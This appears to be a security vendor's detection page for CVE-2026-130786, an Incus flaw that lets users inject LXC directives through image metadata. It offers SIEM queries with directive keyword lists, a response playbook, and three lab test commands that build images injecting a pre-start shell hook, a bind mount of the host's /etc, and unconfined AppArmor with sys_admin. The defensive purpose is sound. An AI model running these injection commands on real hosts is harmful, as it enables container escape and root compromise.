Skip to content
CVE-2026-130786

Incus Image Configuration Injection via LXC Directives (CVE-2026-130786)

Privilege Escalation Stealth Execution Last updated:

Detects potential exploitation of CVE-2026-130786, a configuration injection vulnerability (CWE-74) in Incus before 7.6.0. Users permitted to launch instances from attacker-controlled images can embed LXC configuration directives in the image metadata/templates, which Incus merges into the container's runtime LXC configuration. This allows injection of directives such as lxc.hook.*, lxc.mount.entry, lxc.cap.keep, or lxc.apparmor.profile that can break container isolation, mount host paths, or execute commands on the host as the Incus daemon (typically root). Detection focuses on imports of images carrying LXC config/template payloads, instance launches from non-standard images, and the host-side side effects of injected hooks (unexpected process execution, suspicious mounts, AppArmor profile changes).

Based on Incus GHSA-3wxw-5gh2-j2x2 security advisory

Vulnerability Intelligence

Theoretical

Weakness (CWE)

Timeline

Disclosed
November 18, 2026

CVSS

9.9
Critical (9.0–10)
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

What is CVE-2026-130786 Incus Image Configuration Injection via LXC Directives (CVE-2026-130786)?

Incus Image Configuration Injection via LXC Directives (CVE-2026-130786) (CVE-2026-130786) maps to the Privilege Escalation and Stealth and Execution tactics — the adversary is trying to gain higher-level permissions in MITRE ATT&CK.

This page provides production-ready detection logic for Incus Image Configuration Injection via LXC Directives (CVE-2026-130786), covering the data sources and telemetry it touches: Syslog, Linux host logs. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Privilege Escalation Stealth Execution
Microsoft Sentinel / Defender
kusto
// df00tech DF00-b9a7021995 · https://df00tech.com/detections/CVE-2026-130786 · licence: https://df00tech.com/detections/licence
// Incus LXC config injection via controlled images (CVE-2026-130786)
// Host-side detection of injected lxc.hook execution and suspicious image handling
let injectionMarkers = dynamic(["lxc.hook.","lxc.mount.entry","lxc.cap.keep","lxc.cap.drop","lxc.apparmor.profile","lxc.apparmor.raw","lxc.cgroup","lxc.init.cmd","lxc.prestart"]);
Syslog
| where Facility in ("daemon","user","local0") or ProcessName in ("incusd","incus","lxc","lxc-start")
| where SyslogMessage has_any (injectionMarkers)
    or (SyslogMessage has "image" and SyslogMessage has_any ("import","create instance","launch"))
| extend SuspectDirective = extract(@"(lxc\.[a-z.]+)\s*=", 1, SyslogMessage)
| project TimeGenerated, Computer, ProcessName, ProcessID, SyslogMessage, SuspectDirective
| order by TimeGenerated desc

Searches Syslog on Incus hosts for LXC configuration directives that should never originate from user-supplied images (hooks, host mounts, capability changes, AppArmor overrides) and for image import/launch events that precede exploitation.

high severity medium confidence

Data Sources

Syslog Linux host logs

Required Tables

Syslog

False Positives

  • Legitimate administrators crafting custom raw.lxc config for trusted instances
  • Automation/IaC tooling (Terraform, Ansible) that sets raw.lxc on managed containers
  • Incus profiles that intentionally include lxc.mount.entry for shared storage

Query fingerprint DF00-b9a7021995 · licence

Sigma logsource & community rules

The detection logic for Incus Image Configuration Injection via LXC Directives (CVE-2026-130786) (CVE-2026-130786) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Image carrying injected lxc.hook directive

    Expected signal: Incus daemon log records image import and instance launch; host syslog/process telemetry shows a shell spawned by the LXC runtime writing /tmp/incus_poc_hook.txt.

  2. Test 2 Injected host mount via lxc.mount.entry

    Expected signal: LXC configuration contains lxc.mount.entry referencing a host path; mount events reference /etc inside the container namespace.

  3. Test 3 Injected capability / AppArmor override

    Expected signal: LXC config shows apparmor.profile=unconfined and retained SYS_ADMIN capability for a user-launched instance.


Response Playbook

Triage

  1. Identify the Incus host and version; confirm whether it is running Incus < 7.6.0 and therefore vulnerable to CVE-2026-130786.
  2. Determine which image the instance was launched from and whether that image came from an untrusted or user-controlled remote/registry rather than a vetted internal source.
  3. Inspect the instance's effective LXC configuration (incus config show --expanded <instance>) and the image metadata/templates for unauthorized lxc.hook.*, lxc.mount.entry, lxc.cap.*, lxc.apparmor.*, or lxc.init.cmd directives.
  4. Review host process and mount activity in the minutes after the launch for hook-driven command execution or host path mounts.

Containment

  1. Stop and freeze the affected instance(s) (incus stop --force) and prevent further launches from the suspect image.
  2. Remove or quarantine the malicious image from all Incus remotes/registries and revoke launch permissions for the implicated user/token until patched.
  3. Upgrade Incus to >= 7.6.0 on all hosts to eliminate the configuration injection path.

Evidence Collection

  1. Export the suspect image and its metadata.yaml/templates for offline analysis.
  2. Capture incus config show --expanded output, the Incus daemon log (/var/log/incus or journalctl -u incus), and host syslog covering the launch window.
  3. Snapshot the host filesystem regions referenced by any injected lxc.mount.entry and collect any files created by hook execution.

Escalation Criteria

  • ! Evidence that an injected lxc.hook or lxc.init.cmd executed code on the host as the Incus daemon user (root), treat as host compromise.
  • ! Injected directives mounted host-sensitive paths (/, /etc, /var/lib/incus, Docker/Incus sockets) into a container, enabling privilege escalation beyond the instance.

Investigation Guide

Forensic Artifacts

  • > Image metadata.yaml and template files containing LXC directives
  • > Incus daemon logs and the instance's expanded LXC config (lxc.conf under /var/lib/incus/.../lxc.conf)
  • > Host syslog/journal entries and any files or processes created by hook execution

Tuning Guidance

Baseline the raw.lxc and profile-defined LXC directives used by trusted, administrator-managed instances and exclude those exact directive/instance combinations. Focus alerting on directives that originate from image metadata/templates rather than from profiles or admin-set raw.lxc, and on instances launched from external or user-controlled image remotes. After upgrading all hosts to Incus >= 7.6.0, downgrade severity to informational since the injection path is closed.


Hunting Queries

Surface any LXC lifecycle directives that should not appear in user-launched instances on Incus hosts.

Hunting — KQL
kql
// df00tech DF00-b9a7021995 · https://df00tech.com/detections/CVE-2026-130786 · licence: https://df00tech.com/detections/licence
Syslog | where SyslogMessage has_any ("lxc.hook.","lxc.mount.entry","lxc.init.cmd") | project TimeGenerated, Computer, ProcessName, SyslogMessage
Hunting — SPL
spl
``` df00tech DF00-b9a7021995 · https://df00tech.com/detections/CVE-2026-130786 · licence: https://df00tech.com/detections/licence ```
index=linux (_raw="*lxc.hook.*" OR _raw="*lxc.mount.entry*" OR _raw="*lxc.init.cmd*") | table _time host process_name _raw

Atomic Red Team Tests

Test 1 Image carrying injected lxc.hook directive
linux

Builds a minimal Incus image whose metadata templates inject an lxc.hook.pre-start directive, then launches an instance from it to observe host-side hook execution (lab only).

Command

bash
mkdir -p /tmp/evil-img/templates && printf 'architecture: x86_64\ncreation_date: 1763000000\nproperties:\n  description: poc\nconfig:\n  raw.lxc: |\n    lxc.hook.pre-start = /bin/sh -c "id > /tmp/incus_poc_hook.txt"\n' > /tmp/evil-img/metadata.yaml && tar -C /tmp/evil-img -czf /tmp/evil-img.tar.gz metadata.yaml templates && incus image import /tmp/evil-img.tar.gz --alias poc-evil && incus launch poc-evil poc-victim

Cleanup

bash
incus delete --force poc-victim 2>/dev/null; incus image delete poc-evil 2>/dev/null; rm -rf /tmp/evil-img /tmp/evil-img.tar.gz /tmp/incus_poc_hook.txt

Expected Telemetry

Incus daemon log records image import and instance launch; host syslog/process telemetry shows a shell spawned by the LXC runtime writing /tmp/incus_poc_hook.txt.

Expected Detection

KQL/SPL rules match on 'lxc.hook.' in daemon/syslog; EQL/CQL correlate the launch with an unexpected child process under incusd/lxc-start.

Test 2 Injected host mount via lxc.mount.entry
linux

Launches an instance from an image whose config injects an lxc.mount.entry that bind-mounts a host path into the container (lab only).

Command

bash
mkdir -p /tmp/mnt-img && printf 'architecture: x86_64\ncreation_date: 1763000000\nconfig:\n  raw.lxc: |\n    lxc.mount.entry = /etc etc-host none bind,ro,create=dir 0 0\n' > /tmp/mnt-img/metadata.yaml && tar -C /tmp/mnt-img -czf /tmp/mnt-img.tar.gz metadata.yaml && incus image import /tmp/mnt-img.tar.gz --alias poc-mount && incus launch poc-mount poc-mnt

Cleanup

bash
incus delete --force poc-mnt 2>/dev/null; incus image delete poc-mount 2>/dev/null; rm -rf /tmp/mnt-img /tmp/mnt-img.tar.gz

Expected Telemetry

LXC configuration contains lxc.mount.entry referencing a host path; mount events reference /etc inside the container namespace.

Expected Detection

Queries match 'lxc.mount.entry' directive strings in Incus/LXC logs.

Test 3 Injected capability / AppArmor override
linux

Imports an image injecting lxc.cap.keep and lxc.apparmor.profile=unconfined to weaken isolation, then launches it (lab only).

Command

bash
mkdir -p /tmp/cap-img && printf 'architecture: x86_64\ncreation_date: 1763000000\nconfig:\n  raw.lxc: |\n    lxc.apparmor.profile = unconfined\n    lxc.cap.keep = sys_admin\n' > /tmp/cap-img/metadata.yaml && tar -C /tmp/cap-img -czf /tmp/cap-img.tar.gz metadata.yaml && incus image import /tmp/cap-img.tar.gz --alias poc-cap && incus launch poc-cap poc-cap-inst

Cleanup

bash
incus delete --force poc-cap-inst 2>/dev/null; incus image delete poc-cap 2>/dev/null; rm -rf /tmp/cap-img /tmp/cap-img.tar.gz

Expected Telemetry

LXC config shows apparmor.profile=unconfined and retained SYS_ADMIN capability for a user-launched instance.

Expected Detection

Rules match 'lxc.apparmor.profile' and 'lxc.cap.keep' directive markers in logs.

Related Detections

Browse by tactic

Full ATT&CK matrix Search all detections